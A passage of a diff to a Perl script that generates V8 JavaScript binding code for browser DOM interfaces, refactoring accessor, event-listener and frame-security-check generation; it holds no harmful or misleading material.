+sub GetHeaderClassInclude
+{
+    my $className = shift;
+    if ($className =~ /SVGPathSeg/) {
+        $className =~ s/Abs|Rel//;
+    }
+    return "" if (AvoidInclusionOfType($className));
+    return "#include \"SVGAnimatedTemplate.h\"\n" if ($codeGenerator->IsSVGAnimatedType($className));
+    return "#include \"${className}.h\"\n";
+}
+
+sub GenerateHeaderCustomInternalFieldIndices
+{
+    my $dataNode = shift;
+    my @customInternalFields = GetInternalFields($dataNode);
+    my $customFieldCounter = 0;
+    foreach my $customInternalField (@customInternalFields) {
+        push(@headerContent, <<END);
+    static const int ${customInternalField} = v8DefaultWrapperInternalFieldCount + ${customFieldCounter};
+END
+        $customFieldCounter++;
+    }
+    push(@headerContent, <<END);
+    static const int internalFieldCount = v8DefaultWrapperInternalFieldCount + ${customFieldCounter};
+END
+}
+
+my %indexerSpecialCases = (
+    "Storage" => 1,
+    "HTMLAppletElement" => 1,
+    "HTMLDocument" => 1,
+    "HTMLEmbedElement" => 1,
+    "HTMLObjectElement" => 1
+);
+
+sub GenerateHeaderNamedAndIndexedPropertyAccessors
+{
+    my $dataNode = shift;
+    my $interfaceName = $dataNode->name;
+    my $hasCustomIndexedGetter = $dataNode->extendedAttributes->{"HasIndexGetter"} || $dataNode->extendedAttributes->{"CustomGetOwnPropertySlot"};
+    my $hasCustomIndexedSetter = $dataNode->extendedAttributes->{"HasCustomIndexSetter"} && !$dataNode->extendedAttributes->{"HasNumericIndexGetter"};
+    my $hasCustomNamedGetter = $dataNode->extendedAttributes->{"HasNameGetter"} || $dataNode->extendedAttributes->{"HasOverridingNameGetter"} || $dataNode->extendedAttributes->{"CustomGetOwnPropertySlot"};
+    my $hasCustomNamedSetter = $dataNode->extendedAttributes->{"DelegatingPutFunction"};
+    my $hasCustomDeleters = $dataNode->extendedAttributes->{"CustomDeleteProperty"};
+    my $hasCustomEnumerator = $dataNode->extendedAttributes->{"CustomGetPropertyNames"};
+    if ($interfaceName eq "HTMLOptionsCollection") {
+        $interfaceName = "HTMLCollection";
+        $hasCustomIndexedGetter = 1;
+        $hasCustomNamedGetter = 1;
+    }
+    if ($interfaceName eq "DOMWindow") {
+        $hasCustomDeleterr = 0;
+        $hasEnumerator = 0;
+    }
+    if ($interfaceName eq "HTMLSelectElement" || $interfaceName eq "HTMLAppletElement" || $interfaceName eq "HTMLEmbedElement" || $interfaceName eq "HTMLObjectElement") {
+        $hasCustomNamedGetter = 1;
+    }
+    my $isIndexerSpecialCase = exists $indexerSpecialCases{$interfaceName};
+
+    if ($hasCustomIndexedGetter || $isIndexerSpecialCase) {
+        push(@headerContent, <<END);
+    static v8::Handle<v8::Value> indexedPropertyGetter(uint32_t index, const v8::AccessorInfo& info);
+END
+    }
+
+    if ($isIndexerSpecialCase || $hasCustomIndexedSetter) {
+        push(@headerContent, <<END);
+    static v8::Handle<v8::Value> indexedPropertySetter(uint32_t index, v8::Local<v8::Value> value, const v8::AccessorInfo& info);
+END
+    }
+    if ($hasCustomDeleters) {
+        push(@headerContent, <<END);
+    static v8::Handle<v8::Boolean> indexedPropertyDeleter(uint32_t index, const v8::AccessorInfo& info);
+END
+    }
+    if ($hasCustomNamedGetter) {
+        push(@headerContent, <<END);
+    static v8::Handle<v8::Value> namedPropertyGetter(v8::Local<v8::String> name, const v8::AccessorInfo& info);
+END
+    }
+    if ($hasCustomNamedSetter) {
+        push(@headerContent, <<END);
+    static v8::Handle<v8::Value> namedPropertySetter(v8::Local<v8::String> name, v8::Local<v8::Value> value, const v8::AccessorInfo& info);
+END
+    }
+    if ($hasCustomDeleters || $interfaceName eq "HTMLDocument") {
+        push(@headerContent, <<END);
+    static v8::Handle<v8::Boolean> namedPropertyDeleter(v8::Local<v8::String> name, const v8::AccessorInfo& info);
+END
+    }
+    if ($hasCustomEnumerator) {
+        push(@headerContent, <<END);
+    static v8::Handle<v8::Array> namedPropertyEnumerator(const v8::AccessorInfo& info);
+END
+    }
+}
+
+sub GenerateHeaderCustomCall
+{
+    my $dataNode = shift;
+
+    if ($dataNode->extendedAttributes->{"CustomCall"}) {
+        push(@headerContent, "    static v8::Handle<v8::Value> callAsFunctionCallback(const v8::Arguments&);\n");
+    }
+    if ($dataNode->name eq "Event") {
+        push(@headerContent, "    static v8::Handle<v8::Value> dataTransferAccessorGetter(v8::Local<v8::String> name, const v8::AccessorInfo& info);\n");
+        push(@headerContent, "    static void valueAccessorSetter(v8::Local<v8::String> name, v8::Local<v8::Value> value, const v8::AccessorInfo& info);\n");
+    }
+    if ($dataNode->name eq "Location") {
+        push(@headerContent, "    static v8::Handle<v8::Value> assignAccessorGetter(v8::Local<v8::String> name, const v8::AccessorInfo& info);\n");
+        push(@headerContent, "    static v8::Handle<v8::Value> reloadAccessorGetter(v8::Local<v8::String> name, const v8::AccessorInfo& info);\n");
+        push(@headerContent, "    static v8::Handle<v8::Value> replaceAccessorGetter(v8::Local<v8::String> name, const v8::AccessorInfo& info);\n");
+    }
+}
 
 sub GenerateSetDOMException
 {
@@ -314,66 +489,30 @@ sub GenerateSetDOMException
     return $result;
 }
 
-sub IsNodeSubType
+sub IsSubType
 {
     my $dataNode = shift;
-    return 1 if ($dataNode->name eq "Node");
+    my $parentType = shift;
+    return 1 if ($dataNode->name eq $parentType);
     foreach (@allParents) {
         my $parent = $codeGenerator->StripModule($_);
-        return 1 if $parent eq "Node";
+        return 1 if $parent eq $parentType;
     }
     return 0;
 }
 
-sub GetHiddenDependencyIndex
-{
-    my $dataNode = shift;
-    my $attribute = shift;
-    my $name = $dataNode->name;
-    return "V8Custom::kNodeEventListenerCacheIndex" if IsNodeSubType($dataNode);
-    return "V8Custom::kSVGElementInstanceEventListenerCacheIndex" if $name eq "SVGElementInstance";
-    return "V8Custom::kAbstractWorkerRequestCacheIndex" if $name eq "AbstractWorker";
-    return "V8Custom::kWorkerRequestCacheIndex" if $name eq "Worker";
-    return "V8Custom::kDedicatedWorkerContextRequestCacheIndex" if $name eq "DedicatedWorkerContext";
-    return "V8Custom::kWorkerContextRequestCacheIndex" if $name eq "WorkerContext";
-    return "V8Custom::kWorkerContextRequestCacheIndex" if $name eq "SharedWorkerContext";
-    return "V8Custom::kMessagePortRequestCacheIndex" if $name eq "MessagePort";
-    return "V8Custom::kWebSocketCacheIndex" if $name eq "WebSocket";
-    return "V8Custom::kXMLHttpRequestCacheIndex" if $name eq "XMLHttpRequest";
-    return "V8Custom::kXMLHttpRequestCacheIndex" if $name eq "XMLHttpRequestUpload";
-    return "V8Custom::kDOMApplicationCacheCacheIndex" if $name eq "DOMApplicationCache";
-    return "V8Custom::kNotificationRequestCacheIndex" if $name eq "Notification";
-    return "V8Custom::kDOMWindowEventListenerCacheIndex" if $name eq "DOMWindow";
-    die "Unexpected name " . $name . " when generating " . $attribute;
-}
-
-sub HolderToNative
+sub IsNodeSubType
 {
     my $dataNode = shift;
-    my $implClassName = shift;
-    my $classIndex = shift;
-
-    if (IsNodeSubType($dataNode)) {
-        push(@implContentDecls, <<END);
-    $implClassName* imp = V8DOMWrapper::convertDOMWrapperToNode<$implClassName>(holder);
-END
-
-    } else {
-        push(@implContentDecls, <<END);
-    $implClassName* imp = V8DOMWrapper::convertToNativeObject<$implClassName>(V8ClassIndex::$classIndex, holder);
-END
-
-  }
+    return IsSubType($dataNode, "Node");
 }
 
 sub GenerateDomainSafeFunctionGetter
 {
     my $function = shift;
-    my $dataNode = shift;
-    my $classIndex = shift;
     my $implClassName = shift;
 
-    my $className = "V8" . $dataNode->name;
+    my $className = "V8" . $implClassName;
     my $funcName = $function->signature->name;
 
     my $signature = "v8::Signature::New(" . $className . "::GetRawTemplate())";
@@ -381,36 +520,26 @@ sub GenerateDomainSafeFunctionGetter
         $signature = "v8::Local<v8::Signature>()";
     }
 
-    my $newTemplateString = GenerateNewFunctionTemplate($function, $dataNode, $signature);
-
-    $implIncludes{"V8Proxy.h"} = 1;
+    my $newTemplateString = GenerateNewFunctionTemplate($function, $implClassName, $signature);
 
     push(@implContentDecls, <<END);
-  static v8::Handle<v8::Value> ${funcName}AttrGetter(v8::Local<v8::String> name, const v8::AccessorInfo& info) {
+static v8::Handle<v8::Value> ${funcName}AttrGetter(v8::Local<v8::String> name, const v8::AccessorInfo& info)
+{
     INC_STATS(\"DOM.$implClassName.$funcName._get\");
-    static v8::Persistent<v8::FunctionTemplate> private_template =
-        v8::Persistent<v8::FunctionTemplate>::New($newTemplateString);
-    v8::Handle<v8::Object> holder = V8DOMWrapper::lookupDOMWrapper(V8ClassIndex::$classIndex, info.This());
+    static v8::Persistent<v8::FunctionTemplate> private_template = v8::Persistent<v8::FunctionTemplate>::New($newTemplateString);
+    v8::Handle<v8::Object> holder = V8DOMWrapper::lookupDOMWrapper(${className}::GetTemplate(), info.This());
     if (holder.IsEmpty()) {
-      // can only reach here by 'object.__proto__.func', and it should passed
-      // domain security check already
-
-      return private_template->GetFunction();
+        // can only reach here by 'object.__proto__.func', and it should passed
+        // domain security check already
+        return private_template->GetFunction();
     }
-END
-
-  HolderToNative($dataNode, $implClassName, $classIndex);
-
-    push(@implContentDecls, <<END);
-    if (!V8Proxy::canAccessFrame(imp->frame(), false)) {
-      static v8::Persistent<v8::FunctionTemplate> shared_template =
-        v8::Persistent<v8::FunctionTemplate>::New($newTemplateString);
-      return shared_template->GetFunction();
-
-    } else {
-      return private_template->GetFunction();
+    ${implClassName}* imp = ${className}::toNative(holder);
+    if (!V8BindingSecurity::canAccessFrame(V8BindingState::Only(), imp->frame(), false)) {
+        static v8::Persistent<v8::FunctionTemplate> shared_template = v8::Persistent<v8::FunctionTemplate>::New($newTemplateString);
+        return shared_template->GetFunction();
     }
-  }
+    return private_template->GetFunction();
+}
 
 END
 }
@@ -418,37 +547,32 @@ END
 sub GenerateConstructorGetter
 {
     my $implClassName = shift;
-    my $classIndex = shift;
 
     push(@implContentDecls, <<END);
-  static v8::Handle<v8::Value> ${implClassName}ConstructorGetter(v8::Local<v8::String> name, const v8::AccessorInfo& info) {
+static v8::Handle<v8::Value> ${implClassName}ConstructorGetter(v8::Local<v8::String> name, const v8::AccessorInfo& info) {
     INC_STATS(\"DOM.$implClassName.constructors._get\");
     v8::Handle<v8::Value> data = info.Data();
-    ASSERT(data->IsNumber());
-    V8ClassIndex::V8WrapperType type = V8ClassIndex::FromInt(data->Int32Value());
+    ASSERT(data->IsExternal() || data->IsNumber());
+    WrapperTypeInfo* type = WrapperTypeInfo::unwrap(data);
 END
 
-    if ($classIndex eq "DOMWINDOW") {
+    if ($implClassName eq "DOMWindow") {
         push(@implContentDecls, <<END);
-    DOMWindow* window = V8DOMWrapper::convertToNativeObject<DOMWindow>(V8ClassIndex::DOMWINDOW, info.Holder());
     // Get the proxy corresponding to the DOMWindow if possible to
     // make sure that the constructor function is constructed in the
     // context of the DOMWindow and not in the context of the caller.
-    return V8DOMWrapper::getConstructor(type, window);
+    return V8DOMWrapper::getConstructor(type, V8DOMWindow::toNative(info.Holder()));
 END
-    } elsif ($classIndex eq "DEDICATEDWORKERCONTEXT" or $classIndex eq "WORKERCONTEXT" or $classIndex eq "SHAREDWORKERCONTEXT") {
-        $implIncludes{"WorkerContextExecutionProxy.h"} = 1;
+    } elsif ($implClassName eq "DedicatedWorkerContext" or $implClassName eq "WorkerContext" or $implClassName eq "SharedWorkerContext") {
         push(@implContentDecls, <<END);
-    WorkerContext* workerContext = V8DOMWrapper::convertToNativeObject<WorkerContext>(V8ClassIndex::WORKERCONTEXT, info.Holder());
-    return V8DOMWrapper::getConstructor(type, workerContext);
+    return V8DOMWrapper::getConstructor(type, V8WorkerContext::toNative(info.Holder()));
 END
     } else {
-        push(@implContentDecls, "    return v8::Undefined();");
+        push(@implContentDecls, "    return v8::Handle<v8::Value>();");
     }
 
     push(@implContentDecls, <<END);
-
-    }
+}
 
 END
 }
@@ -457,23 +581,20 @@ sub GenerateNormalAttrGetter
 {
     my $attribute = shift;
     my $dataNode = shift;
-    my $classIndex = shift;
     my $implClassName = shift;
     my $interfaceName = shift;
 
     my $attrExt = $attribute->signature->extendedAttributes;
 
     my $attrName = $attribute->signature->name;
-    $implIncludes{"V8Proxy.h"} = 1;
 
     my $attrType = GetTypeFromSignature($attribute->signature);
     my $attrIsPodType = IsPodType($attrType);
 
-    my $nativeType = GetNativeTypeFromSignature($attribute->signature, 0);
+    my $nativeType = GetNativeTypeFromSignature($attribute->signature, -1);
     my $isPodType = IsPodType($implClassName);
     my $skipContext = 0;
 
-
     if ($isPodType) {
         $implClassName = GetNativeType($implClassName);
         $implIncludes{"V8SVGPODTypeWrapper.h"} = 1;
@@ -496,17 +617,18 @@ sub GenerateNormalAttrGetter
         $attrIsPodType = 0;
     }
 
-    my $getterStringUsesImp = $implClassName ne "double";
+    my $getterStringUsesImp = $implClassName ne "float";
 
   # Getter
     push(@implContentDecls, <<END);
-  static v8::Handle<v8::Value> ${attrName}AttrGetter(v8::Local<v8::String> name, const v8::AccessorInfo& info) {
+static v8::Handle<v8::Value> ${attrName}AttrGetter(v8::Local<v8::String> name, const v8::AccessorInfo& info)
+{
     INC_STATS(\"DOM.$implClassName.$attrName._get\");
 END
 
     if ($isPodType) {
         push(@implContentDecls, <<END);
-    V8SVGPODTypeWrapper<$implClassName>* imp_wrapper = V8DOMWrapper::convertToNativeObject<V8SVGPODTypeWrapper<$implClassName> >(V8ClassIndex::$classIndex, info.Holder());
+    V8SVGPODTypeWrapper<$implClassName>* imp_wrapper = V8SVGPODTypeWrapper<$implClassName>::toNative(info.Holder());
     $implClassName imp_instance = *imp_wrapper;
 END
         if ($getterStringUsesImp) {
@@ -516,30 +638,42 @@ END
         }
 
     } elsif ($attrExt->{"v8OnProto"} || $attrExt->{"V8DisallowShadowing"}) {
-      if ($classIndex eq "DOMWINDOW") {
-        push(@implContentDecls, <<END);
+        if ($interfaceName eq "DOMWindow") {
+            push(@implContentDecls, <<END);
     v8::Handle<v8::Object> holder = info.Holder();
 END
-      } else {
-        # perform lookup first
+        } else {
+            # perform lookup first
+            push(@implContentDecls, <<END);
+    v8::Handle<v8::Object> holder = V8DOMWrapper::lookupDOMWrapper(V8${interfaceName}::GetTemplate(), info.This());
+    if (holder.IsEmpty()) return v8::Handle<v8::Value>();
+END
+        }
         push(@implContentDecls, <<END);
-    v8::Handle<v8::Object> holder = V8DOMWrapper::lookupDOMWrapper(V8ClassIndex::$classIndex, info.This());
-    if (holder.IsEmpty()) return v8::Undefined();
+    ${implClassName}* imp = V8${implClassName}::toNative(holder);
 END
-      }
-        HolderToNative($dataNode, $implClassName, $classIndex);
     } else {
+        my $reflect = $attribute->signature->extendedAttributes->{"Reflect"};
+        if ($getterStringUsesImp && $reflect && IsNodeSubType($dataNode) && $codeGenerator->IsStringType($attrType)) {
+            # Generate super-compact call for regular attribute getter:
+            my $contentAttributeName = $reflect eq "1" ? $attrName : $reflect;
+            my $namespace = $codeGenerator->NamespaceForAttributeName($interfaceName, $contentAttributeName);
+            $implIncludes{"${namespace}.h"} = 1;
+            push(@implContentDecls, "    return getElementStringAttr(info, ${namespace}::${contentAttributeName}Attr);\n");
+            push(@implContentDecls, "}\n\n");
+            return;
+            # Skip the rest of the function!
+        }
         push(@implContentDecls, <<END);
-    v8::Handle<v8::Object> holder = info.Holder();
+    ${implClassName}* imp = V8${implClassName}::toNative(info.Holder());
 END
-        HolderToNative($dataNode, $implClassName, $classIndex);
     }
 
     # Generate security checks if necessary
     if ($attribute->signature->extendedAttributes->{"CheckNodeSecurity"}) {
-        push(@implContentDecls, "    if (!V8Proxy::checkNodeSecurity(imp->$attrName())) return v8::Undefined();\n\n");
+        push(@implContentDecls, "    if (!V8BindingSecurity::checkNodeSecurity(V8BindingState::Only(), imp->$attrName())) return v8::Handle<v8::Value>();\n\n");
     } elsif ($attribute->signature->extendedAttributes->{"CheckFrameSecurity"}) {
-        push(@implContentDecls, "    if (!V8Proxy::checkNodeSecurity(imp->contentDocument())) return v8::Undefined();\n\n");
+        push(@implContentDecls, "    if (!V8BindingSecurity::checkNodeSecurity(V8BindingState::Only(), imp->contentDocument())) return v8::Handle<v8::Value>();\n\n");
     }
 
     my $useExceptions = 1 if @{$attribute->getterExceptions} and !($isPodType);
@@ -553,7 +687,12 @@ END
     }
 
     my $getterFunc = $codeGenerator->WK_lcfirst($attrName);
-    $getterFunc .= "Animated" if $codeGenerator->IsSVGAnimatedType($attribute->signature->type);
+
+    if ($codeGenerator->IsSVGAnimatedType($attribute->signature->type)) {
+        # Some SVGFE*Element.idl use 'operator' as attribute name; rewrite as '_operator' to avoid clashes with C/C++
+        $getterFunc = "_" . $getterFunc if ($attrName =~ /operator/);
+        $getterFunc .= "Animated";
+    }
 
     my $returnType = GetTypeFromSignature($attribute->signature);
 
@@ -579,10 +718,6 @@ END
         $getterString = "imp_instance";
     }
 
-    if ($nativeType eq "String") {
-        $getterString = "toString($getterString)";
-    }
-
     my $result;
     my $wrapper;
 
@@ -619,7 +754,7 @@ END
     } else {
         if ($attribute->signature->type eq "EventListener" && $dataNode->name eq "DOMWindow") {
             push(@implContentDecls, "    if (!imp->document())\n");
-            push(@implContentDecls, "      return v8::Undefined();\n");
+            push(@implContentDecls, "        return v8::Handle<v8::Value>();\n");
         }
 
         if ($useExceptions) {
@@ -635,60 +770,37 @@ END
     }
 
     if (IsSVGTypeNeedingContextParameter($attrType) && !$skipContext) {
-        my $resultObject = $result;
         if ($attrIsPodType) {
-            $resultObject = "wrapper";
+            push(@implContentDecls, GenerateSVGContextAssignment($implClassName, "wrapper.get()", "    "));
+        } else {
+            push(@implContentDecls, GenerateSVGContextRetrieval($implClassName, "    "));
+            # The templating associated with passing withSVGContext()'s return value directly into toV8 can get compilers confused,
+            # so just manually set the return value to a PassRefPtr of the expected type.
+            push(@implContentDecls, "    PassRefPtr<$attrType> resultAsPassRefPtr = V8Proxy::withSVGContext($result, context);\n");
+            $result = "resultAsPassRefPtr";
         }
-        $resultObject = "WTF::getPtr(" . $resultObject . ")";
-        push(@implContentDecls, GenerateSVGContextAssignment($implClassName, $resultObject, "    "));
     }
 
     if ($attrIsPodType) {
-        my $classIndex = uc($attrType);
-        push(@implContentDecls, "    return V8DOMWrapper::convertToV8Object(V8ClassIndex::$classIndex, wrapper.release());\n");
+        $implIncludes{"V8${attrType}.h"} = 1;
+        push(@implContentDecls, "    return toV8(wrapper.release().get());\n");
     } else {
         push(@implContentDecls, "    " . ReturnNativeToJSValue($attribute->signature, $result, "    ").";\n");
     }
 
-    push(@implContentDecls, "  }\n\n");  # end of getter
-}
-
-
-sub GenerateReplaceableAttrSetter
-{
-    my $implClassName = shift;
-
-    $implIncludes{"V8Proxy.h"} = 1;
-
-    push(@implContentDecls,
-       "  static void ${attrName}AttrSetter(v8::Local<v8::String> name," .
-       " v8::Local<v8::Value> value, const v8::AccessorInfo& info) {\n");
-
-    push(@implContentDecls, "    INC_STATS(\"DOM.$implClassName.$attrName._set\");\n");
-
-    push(@implContentDecls, "    v8::Local<v8::String> ${attrName}_string = v8::String::New(\"${attrName}\");\n");
-    push(@implContentDecls, "    info.Holder()->Delete(${attrName}_string);\n");
-    push(@implContentDecls, "    info.This()->Set(${attrName}_string, value);\n");
-    push(@implContentDecls, "  }\n\n");
+    push(@implContentDecls, "}\n\n");  # end of getter
 }
 
-
 sub GenerateNormalAttrSetter
 {
     my $attribute = shift;
     my $dataNode = shift;
-    my $classIndex = shift;
     my $implClassName = shift;
     my $interfaceName = shift;
 
     my $attrExt = $attribute->signature->extendedAttributes;
 
-    $implIncludes{"V8Proxy.h"} = 1;
-
-    push(@implContentDecls,
-       "  static void ${attrName}AttrSetter(v8::Local<v8::String> name," .
-       " v8::Local<v8::Value> value, const v8::AccessorInfo& info) {\n");
-
+    push(@implContentDecls, "static void ${attrName}AttrSetter(v8::Local<v8::String> name, v8::Local<v8::Value> value, const v8::AccessorInfo& info)\n{\n");
     push(@implContentDecls, "    INC_STATS(\"DOM.$implClassName.$attrName._set\");\n");
 
     my $isPodType = IsPodType($implClassName);
@@ -696,37 +808,51 @@ sub GenerateNormalAttrSetter
     if ($isPodType) {
         $implClassName = GetNativeType($implClassName);
         $implIncludes{"V8SVGPODTypeWrapper.h"} = 1;
-        push(@implContentDecls, "    V8SVGPODTypeWrapper<$implClassName>* wrapper = V8DOMWrapper::convertToNativeObject<V8SVGPODTypeWrapper<$implClassName> >(V8ClassIndex::$classIndex, info.Holder());\n");
+        push(@implContentDecls, "    V8SVGPODTypeWrapper<$implClassName>* wrapper = V8SVGPODTypeWrapper<$implClassName>::toNative(info.Holder());\n");
         push(@implContentDecls, "    $implClassName imp_instance = *wrapper;\n");
         push(@implContentDecls, "    $implClassName* imp = &imp_instance;\n");
 
     } elsif ($attrExt->{"v8OnProto"}) {
-      if ($classIndex eq "DOMWINDOW") {
+      if ($interfaceName eq "DOMWindow") {
         push(@implContentDecls, <<END);
     v8::Handle<v8::Object> holder = info.Holder();
 END
       } else {
         # perform lookup first
         push(@implContentDecls, <<END);
-    v8::Handle<v8::Object> holder = V8DOMWrapper::lookupDOMWrapper(V8ClassIndex::$classIndex, info.This());
+    v8::Handle<v8::Object> holder = V8DOMWrapper::lookupDOMWrapper(V8${interfaceName}::GetTemplate(), info.This());
     if (holder.IsEmpty()) return;
 END
       }
-        HolderToNative($dataNode, $implClassName, $classIndex);
+    push(@implContentDecls, <<END);
+    ${implClassName}* imp = V8${implClassName}::toNative(holder);
+END
     } else {
+        my $attrType = GetTypeFromSignature($attribute->signature);
+        my $reflect = $attribute->signature->extendedAttributes->{"Reflect"};
+        my $reflectURL = $attribute->signature->extendedAttributes->{"ReflectURL"};
+        if (($reflect || $reflectURL) && IsNodeSubType($dataNode) && $codeGenerator->IsStringType($attrType)) {
+            # Generate super-compact call for regular attribute setter:
+            my $contentAttributeName = ($reflect || $reflectURL) eq "1" ? $attrName : ($reflect || $reflectURL);
+            my $namespace = $codeGenerator->NamespaceForAttributeName($interfaceName, $contentAttributeName);
+            $implIncludes{"${namespace}.h"} = 1;
+            push(@implContentDecls, "    setElementStringAttr(info, ${namespace}::${contentAttributeName}Attr, value);\n");
+            push(@implContentDecls, "}\n\n");
+            return;
+            # Skip the rest of the function!
+        }
+
         push(@implContentDecls, <<END);
-    v8::Handle<v8::Object> holder = info.Holder();
+    ${implClassName}* imp = V8${implClassName}::toNative(info.Holder());
 END
-        HolderToNative($dataNode, $implClassName, $classIndex);
     }
 
     my $nativeType = GetNativeTypeFromSignature($attribute->signature, 0);
     if ($attribute->signature->type eq "EventListener") {
         if ($dataNode->name eq "DOMWindow") {
             push(@implContentDecls, "    if (!imp->document())\n");
-            push(@implContentDecls, "      return;\n");
+            push(@implContentDecls, "        return;\n");
         }
-        push(@implContentDecls, "    $nativeType v = V8DOMWrapper::getEventListener(imp, value, true, ListenerFindOrCreate);\n");
     } else {
         push(@implContentDecls, "    $nativeType v = " . JSValueToNative($attribute->signature, "value") . ";\n");
     }
@@ -751,7 +877,7 @@ END
         push(@implContentDecls, "    ExceptionCode ec = 0;\n");
     }
 
-    if ($implClassName eq "double") {
+    if ($implClassName eq "float") {
         push(@implContentDecls, "    *imp = $result;\n");
     } else {
         my $implSetterFunctionName = $codeGenerator->WK_ucfirst($attrName);
@@ -764,20 +890,10 @@ END
             push(@implContentDecls, "    imp->setAttribute(${namespace}::${contentAttributeName}Attr, $result");
         } elsif ($attribute->signature->type eq "EventListener") {
             $implIncludes{"V8AbstractEventListener.h"} = 1;
-            $implIncludes{"V8CustomBinding.h"} = 1;
-            $cacheIndex = GetHiddenDependencyIndex($dataNode, $attrName);
-            push(@implContentDecls, "    $nativeType old = imp->$attrName();\n");
-            push(@implContentDecls, "    V8AbstractEventListener* oldListener = old ? V8AbstractEventListener::cast(old.get()) : 0;\n");
-            push(@implContentDecls, "    if (oldListener) {\n");
-            push(@implContentDecls, "      v8::Local<v8::Object> oldListenerObject = oldListener->getExistingListenerObject();\n");
-            push(@implContentDecls, "      if (!oldListenerObject.IsEmpty())\n");
-            push(@implContentDecls, "        removeHiddenDependency(holder, oldListenerObject, $cacheIndex);\n");
-            push(@implContentDecls, "    }\n");
-            push(@implContentDecls, "    imp->set$implSetterFunctionName($result);\n");
-            push(@implContentDecls, "    if ($result)\n");
-            push(@implContentDecls, "      createHiddenDependency(holder, value, $cacheIndex");
+            push(@implContentDecls, "    transferHiddenDependency(info.Holder(), imp->$attrName(), value, V8${interfaceName}::eventListenerCacheIndex);\n");
+            push(@implContentDecls, "    imp->set$implSetterFunctionName(V8DOMWrapper::getEventListener(value, true, ListenerFindOrCreate)");
         } else {
-            push(@implContentDecls, "    imp->set$implSetterFunctionName(" . $result);
+            push(@implContentDecls, "    imp->set$implSetterFunctionName($result");
         }
         push(@implContentDecls, ", ec") if $useExceptions;
         push(@implContentDecls, ");\n");
@@ -804,16 +920,14 @@ END
     }
 
     push(@implContentDecls, "    return;\n");
-    push(@implContentDecls, "  }\n\n");  # end of setter
+    push(@implContentDecls, "}\n\n");  # end of setter
 }
 
-sub GenerateNewFunctionTemplate
+sub GetFunctionTemplateCallbackName
 {
     $function = shift;
-    $dataNode = shift;
-    $signature = shift;
+    $interfaceName = shift;
 
-    my $interfaceName = $dataNode->name;
     my $name = $function->signature->name;
 
     if ($function->signature->extendedAttributes->{"Custom"} ||
@@ -822,48 +936,85 @@ sub GenerateNewFunctionTemplate
             $function->signature->extendedAttributes->{"V8Custom"}) {
             die "Custom and V8Custom should be mutually exclusive!"
         }
-        my $customFunc = $function->signature->extendedAttributes->{"Custom"} ||
-                         $function->signature->extendedAttributes->{"V8Custom"};
-        if ($customFunc eq 1) {
-            $customFunc = $interfaceName . $codeGenerator->WK_ucfirst($name);
-        }
-        return "v8::FunctionTemplate::New(V8Custom::v8${customFunc}Callback, v8::Handle<v8::Value>(), $signature)";
+        return "V8${interfaceName}::${name}Callback";
     } else {
-        return "v8::FunctionTemplate::New(${interfaceName}Internal::${name}Callback, v8::Handle<v8::Value>(), $signature)";
+        return "${interfaceName}Internal::${name}Callback";
+    }
+}
+
+sub GenerateNewFunctionTemplate
+{
+    $function = shift;
+    $interfaceName = shift;
+    $signature = shift;
+
+    my $callback = GetFunctionTemplateCallbackName($function, $interfaceName);
+    return "v8::FunctionTemplate::New($callback, v8::Handle<v8::Value>(), $signature)";
+}
+
+sub GenerateEventListenerCallback
+{
+    my $implClassName = shift;
+    my $functionName = shift;
+    my $lookupType = ($functionName eq "add") ? "OrCreate" : "Only";
+    my $passRefPtrHandling = ($functionName eq "add") ? "" : ".get()";
+    my $hiddenDependencyAction = ($functionName eq "add") ? "create" : "remove";
+ 
+    push(@implContentDecls, <<END);
+static v8::Handle<v8::Value> ${functionName}EventListenerCallback(const v8::Arguments& args)
+{
+    INC_STATS("DOM.${implClassName}.${functionName}EventListener()");
+    RefPtr<EventListener> listener = V8DOMWrapper::getEventListener(args[1], false, ListenerFind${lookupType});
+    if (listener) {
+        V8${implClassName}::toNative(args.Holder())->${functionName}EventListener(v8ValueToAtomicWebCoreString(args[0]), listener${passRefPtrHandling}, args[2]->BooleanValue());
+        ${hiddenDependencyAction}HiddenDependency(args.Holder(), args[1], V8${implClassName}::eventListenerCacheIndex);
     }
+    return v8::Undefined();
+}
+
+END
 }
 
 sub GenerateFunctionCallback
 {
     my $function = shift;
     my $dataNode = shift;
-    my $classIndex = shift;
     my $implClassName = shift;
 
     my $interfaceName = $dataNode->name;
     my $name = $function->signature->name;
 
-    push(@implContentDecls,
-"  static v8::Handle<v8::Value> ${name}Callback(const v8::Arguments& args) {\n" .
-"    INC_STATS(\"DOM.$implClassName.$name\");\n");
+    # Adding and removing event listeners are not standard callback behavior,
+    # but they are extremely consistent across the various classes that take event listeners,
+    # so we can generate them as a "special case".
+    if ($name eq "addEventListener") {
+        GenerateEventListenerCallback($implClassName, "add");
+        return;
+    } elsif ($name eq "removeEventListener") {
+        GenerateEventListenerCallback($implClassName, "remove");
+        return;
+    }
+
+    push(@implContentDecls, <<END);
+static v8::Handle<v8::Value> ${name}Callback(const v8::Arguments& args) {
+    INC_STATS(\"DOM.$implClassName.$name\");
+END
 
     my $numParameters = @{$function->parameters};
 
     if ($function->signature->extendedAttributes->{"RequiresAllArguments"}) {
-        push(@implContentDecls,
-            "    if (args.Length() < $numParameters) return v8::Undefined();\n");
+        push(@implContentDecls, "    if (args.Length() < $numParameters) return v8::Handle<v8::Value>();\n");
     }
 
     if (IsPodType($implClassName)) {
         my $nativeClassName = GetNativeType($implClassName);
-        push(@implContentDecls, "    V8SVGPODTypeWrapper<$nativeClassName>* imp_wrapper = V8DOMWrapper::convertToNativeObject<V8SVGPODTypeWrapper<$nativeClassName> >(V8ClassIndex::$classIndex, args.Holder());\n");
+        push(@implContentDecls, "    V8SVGPODTypeWrapper<$nativeClassName>* imp_wrapper = V8SVGPODTypeWrapper<$nativeClassName>::toNative(args.Holder());\n");
         push(@implContentDecls, "    $nativeClassName imp_instance = *imp_wrapper;\n");
         push(@implContentDecls, "    $nativeClassName* imp = &imp_instance;\n");
     } else {
         push(@implContentDecls, <<END);
-    v8::Handle<v8::Object> holder = args.Holder();
+    ${implClassName}* imp = V8${implClassName}::toNative(args.Holder());
 END
-        HolderToNative($dataNode, $implClassName, $classIndex);
     }
 
   # Check domain security if needed
@@ -871,26 +1022,43 @@ END
        || $interfaceName eq "DOMWindow")
        && !$function->signature->extendedAttributes->{"DoNotCheckDomainSecurity"}) {
     # We have not find real use cases yet.
-    push(@implContentDecls,
-"    if (!V8Proxy::canAccessFrame(imp->frame(), true)) {\n".
-"      return v8::Undefined();\n" .
-"    }\n");
+    push(@implContentDecls, <<END);
+    if (!V8BindingSecurity::canAccessFrame(V8BindingState::Only(), imp->frame(), true))
